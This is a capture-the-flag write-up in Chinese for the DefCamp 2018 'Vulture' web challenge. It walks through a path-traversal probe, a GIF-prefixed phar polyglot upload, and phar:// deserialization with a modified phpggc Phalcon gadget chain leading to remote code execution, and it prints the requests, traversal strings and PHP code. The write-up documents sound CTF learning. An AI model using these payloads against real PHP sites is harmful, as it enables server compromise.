DefCamp CTF Qualification 2018: Vulture Write-up

Vulture 是一道出現在 DefCamp CTF Qualification 2018 屬於 Web 類型的題目。這題很有趣,雖然是黑箱但不用通靈、猜謎,整道題可以透過各種蛛絲馬跡有邏輯性地推敲並串出完整漏洞利用來解題。

題目敘述如下:

We created an online service where you can upload pictures of vultures (or other birds). Each user has a feed so you can privately enjoy the photos you took of this majestic killing machines :) 
Target: https://vulture.dctfq18.def.camp/
Author: Anatol

點進網頁後,右上方可以發現有個 Login 按鈕,但沒有 Register 按鈕,點 Login 進入到登入表單的頁面時注意到網址是 /auth/login,那直接修改成 /auth/register 就會跳出註冊表單了。

登入後發現服務就如敘述般單純,可以上傳圖片加簡單文字敘述,上傳後的圖片都會被條列在 /feed 頁面上。

最初當然是要對服務進行一些資訊收集,過程中發現一個有趣的現象,當請求不存在的路徑(例如:/asd)時,伺服器會有如以下的反應:

GET /asd HTTP/1.1
Host: vulture.dctfq18.def.camp
HTTP/1.1 200 OK
Date: Mon, 24 Sep 2018 06:48:23 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 55
Connection: keep-alive
Server: CoffeeHackingMachine 13.37
X-XSS-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff

Exception: AsdController handler class cannot be loaded

所以上面的 Exception 資訊透露出甚麼?如果將那串 Exception 訊息丟上 Google Search 可以發現,這個訊息是因為一套名為 Phalcon 的 PHP framework 找不到相對應負責處理該路徑請求的 class 所噴出來的錯誤,所以表示這個網站應該就是由 Phalcon 撰寫而成。

首先對上傳圖片的部分進行一些 fuzz,上傳的流程是經過 POST /feed/upload 將圖片上傳至伺服器上,伺服器再回傳檔案的網址路徑,結果是感覺機會不大,因為會先嚴格檢查副檔名,取副檔名後加上流水號的主檔名作為上傳後的完整檔名,並且還會檢查二進制內容是否有以允許的任一種圖片類型的 Magic Number 開頭,譬如 GIF 的 GIF87a 就是白名單之一。

這就是一個上傳成功的圖片網址:
https://vulture.dctfq18.def.camp/uploads/5ba7c28447e19.png

接著對 /feed 新增的部分開始作 fuzz,因為題目敘述中有提及「you can privately enjoy the photos」,雖然說明是 privately,但難以保證不會有小精靈在偷看你上傳的所有圖片,於是我就順手測試一下是否有 XSS 的可能性。

對 /feed 新增的 API 請求如下:

POST /feed HTTP/1.1
Host: vulture.dctfq18.def.camp
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
Cookie: PHPSESSID=bips9g67d33adc7ptrur9f03e2

image=uploads/5ba7c28447e19.png&text=description

測試結果是過濾得很好,應該是不會有要打 XSS 的可能性。除了排除掉一個思考方向以外,還發現一個有趣的特性,假如 image 給一個不存在的圖片路徑,發出 POST 請求後回到 /feed 頁面會多出一個提示訊息:

<div class="alert alert-danger" role="alert">
    Image not found
</div>

根據這個訊息,直覺認為繼續在 image 參數挖掘下去應該有很大的機會,所以就繼續針對這個參數作了一連串 fuzz,發現有一下幾種關鍵的反應:

image 新增成功/失敗
./uploads/5ba7c28447e19.png 成功
../uploads/5ba7c28447e19.png 失敗
uploads/./5ba7c28447e19.png 成功
uploads/../5ba7c28447e19.png 失敗
uploads/5ba7c28447e19.png#sasad 失敗
uploads/aaaa/../5ba7c28447e19.png 失敗
../../../../../../etc/passwd 成功
https://vulture.dctfq18.def.camp/uploads/5ba7c28447e19.png 失敗
file:///etc/passwd 失敗

一開始有在猜想打 SSRF 的可能性,但最後 5 條測試結果封掉了這條路。測試完看起來是存在 file system 上 Path Traversal 的問題,其中一條 uploads/aaaa/../5ba7c28447e19.png 讓我特別感興趣,因為這個結果是 Linux file system 的行為導致,在 Linux 下即使你後方有 ../ 但前方的路徑是一個不存在的資料夾,file system 還是會返回 No such file or directory,可以自行在自己的主機上測試指令 ls -la /etc/aaaa/../

綜合以上的測試結果,可以猜想伺服器端可能是透過 PHP 中類似 file_exists 的函數對檔案存在進行檢查。

這邊要提到一件有趣的事實,若使用的是 PHP file_exists 函數,這個函數可以接受使用 phar:// Stream Wrapper,在 Seebug Paper 中有一篇文章 利用 phar 拓展 php 反序列化漏洞攻击面 中就有替我們測試並整理出 PHP 中可以接受 phar:// 的所有 file system 相關函數。

嘗試生成一個 phar 檔案,利用上傳圖片功能上傳至伺服器上,這邊必須用 setStub 添加 GIF89a 在 phar 檔案的開頭,才能通過最前面上傳圖片時的檢查限制。

<?php
@unlink('phar.phar');
$p = new Phar('phar.phar');
$p->startBuffering();
$p->setStub("GIF89a<?php xxx; __HALT_COMPILER();?>");
$p->addFromString("test.txt", "test");
$p->stopBuffering();

上傳成功後嘗試在 /feed 進行新增,不同的是 image 改使用 phar:// 去引入上傳的 gif 檔案,結果是在 /feed 新增成功!

POST /feed HTTP/1.1
Host: vulture.dctfq18.def.camp
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
Cookie: PHPSESSID=bips9g67d33adc7ptrur9f03e2

image=phar://uploads/5ba897805da92.gif/test.txt&text=asdasd

現在我們可以使用 phar:// 去引入檔案,然後呢?接續剛剛的事實,PHP 的 Phar 物件有個方法叫做 setMetadata,他可以在產生出的 phar 檔案中塞入一個 PHP 物件序列化後的資料,這個序列化的資料會在下次使用 phar:// 去引入 phar 檔案時被反序列化,這個事實在我知道的範圍內,最早是在 HITCON 2017 Quals 中的一道由 Orange 所出的 Web 題目 Baby^H Master PHP 2017 出現的利用。

終於我們有了一個 blind unserialize 漏洞,可是又該如何利用?記得先前 fuzz 有發現後端是使用 Phalcon framework 撰寫的嗎?有一個開源的專案叫做 phpggc,裡面收集了一些常見 PHP framework 的通用 unserialize gadget chain,其中一項就是:

NAME           VERSION    TYPE   VECTOR     I
Phalcon/RCE1   <= 1.2.2   rce    __wakeup   *

總之先打下去再說!我個人比較偷懶,所以直接修改 phpggc/gadgetchains/Phalcon/RCE/1/chain.php 這個檔案,在 generate 函數裡把產出的 gadget chain 的物件包進 Phar 寫進一個 phar.phar 檔案裡頭。

public function generate(array $parameters)
{
    @unlink('phar.phar');
    $p = new Phar('phar.phar');
    $p->startBuffering();
    $p->setStub("GIF89a<?php xxx; __HALT_COMPILER();?>");
    $p->addFromString("test.txt", "test");
    $p->setMetadata(new \Phalcon\Logger\Adapter\File());
    $p->stopBuffering();
    return new \Phalcon\Logger\Adapter\File();
}

生成好 phar.phar 改副檔名為 gif 丟上伺服器,再用 phar:// 引入。嗯?好像有奇怪的訊息跑出來了。

可以看一下 phpggc 的 Phalcon RCE gadget chain 是如何串的,看起來是會進到一個 \Phalcon\Mvc\View\Engine\Php 的 class,再走到裡面有一行 require path;,而 phpggc 提供的 gadget 會代入 php://input 的值給 path 參數。

所以只要在 POST Body 上寫入 PHP Code,就能順利 RCE 了!

最後的 flag!

DCTF{fe2361512d671c3770c35c24f122a5d9cc3b5c43884058cb87942336e07c7f86}